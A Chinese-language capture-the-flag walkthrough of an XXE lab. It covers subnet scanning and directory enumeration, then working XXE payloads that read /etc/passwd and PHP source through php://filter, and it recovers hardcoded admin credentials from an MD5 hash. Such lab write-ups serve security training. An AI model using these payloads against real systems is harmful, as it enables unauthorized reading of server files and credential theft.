一、配置靶场
第一步:打开kali,作为攻击机,打开是黑屏不要蒙圈,是正常的
第二步:配置局域网主机
探测局域网内的所有主机--
1、查看虚拟机的网络配置
2、查看到我的子网地址为192.168.189.0
第三步:使用御剑端口扫描工具(其他的也可以,换汤不换药)
1、查看192.168.189.1到192.168.189.255的80端口
2、查到这个ip和其他的不一样(突兀),就是它了
3、访问这个查到的ip地址,发现是web服务是apache
第四步:使用目录探测工具探测
192.168.189.151(我是用的WebRobot工具),我查到一颗响应码是200的链接
第五步:打开查到的链接,查到该链接下有两个目录
第六步:访问/xxe的目录(192.168.189.151/xxe),顺利打开靶场
二、解题
第一步:先随便输入,看到没反应
第二步:burpsuite抓包
看到了xml的代码,存在xxe漏洞
第三步:发送到repeater重放器,我们在前面看到是apache的服务,构造xxe语句指向/etc/passwd,看看有没有回显
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> &xxe;//把这个放在用户名那里
没有有用的东西
但是好消息是xxe语句有效果
第四步:接着查看其他目录
1、查看apache首页的默认目录/var/www/html/,发现还是错误
2、使用PHP协议查看php文件里面有啥
<!DOCTYPE root[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php"> ]> &xxe;//把这个放在用户名那里
查看到一堆乱码
复制进行base64解码,解码后是php文件的源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)
我查看代码里面没有和用户名和密码相关的
3、查看admin.php,base64解码查看php源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)
<?phpsession_start(); ?> <html lang = "en"><head><title>admin</title><link href = "css/bootstrap.min.css" rel = "stylesheet"><style>body {padding-top: 40px;padding-bottom: 40px;background-color: #ADABAB;}.form-signin {max-width: 330px;padding: 15px;margin: 0 auto;color: #017572;}.form-signin .form-signin-heading,.form-signin .checkbox {margin-bottom: 10px;}.form-signin .checkbox {font-weight: normal;}.form-signin .form-control {position: relative;height: auto;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;padding: 10px;font-size: 16px;}.form-signin .form-control:focus {z-index: 2;}.form-signin input[type="email"] {margin-bottom: -1px;border-bottom-right-radius: 0;border-bottom-left-radius: 0;border-color:#017572;}.form-signin input[type="password"] {margin-bottom: 10px;border-top-left-radius: 0;border-top-right-radius: 0;border-color:#017572;}h2{text-align: center;color: #017572;}</style></head><body><h2>Enter Username and Password</h2> <div class = "container form-signin"><?php$msg = '';if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {$_SESSION['valid'] = true;$_SESSION['timeout'] = time();$_SESSION['username'] = 'administhebest';echo "You have entered valid use name and password <br />";$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";echo $flag;}else {$msg = 'Maybe Later';}}?></div> <!-- W00t/W00t --><div class = "container"><form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post"><h4 class = "form-signin-heading"><?php echo $msg; ?></h4><input type = "text" class = "form-control" name = "username" required autofocus></br><input type = "password" class = "form-control"name = "password" required><button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button></form>Click here to clean <a href = "adminlog.php" tite = "Logout">Session.</div> </body> </html>
看到用户名administhebest和加密后经过MD5加密的密码
e6e061838856bf47e1de730719fb2609,将密码解码后为
admin@123`
md5在线解密破解,md5解密加密 (cmd5.com)
第五步:访问admin.php,使用查到的用户名和密码登陆
第六步:看到了一个flag,点击,你会看到一个套娃
第七步:查看这个新的php文件,有些无语了吧,继续吧。
你可以选择按照上面的第四步查看的文件的步骤一步一步查看。也可以选择超近道,直接访问/xxe/flagmeout.php.
进去后你会看到,空空如也。。。。。
第八步:查看页面的源代码
终于找到你,还好我没放弃~
但是
查看到了flag??? in???不会又是编码吧???
第九步:解码flag后面括号里的东西
而且是base32编码。。。出来后还是?乱码??
第十步:再次解码
这次是base64解码。。。
第十一步:查看这个目录/etc/.flag.php
<!DOCTYPE root[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php"> ]> &xxe;//放到name后面
第十二步:复制,解码
我没想到能写到十二步。。。。。。
第十三步:复制,自己创建一个PHP文件放到自己的的localhost访问
我创建的是localhost.222.php,访问后看到flag的内容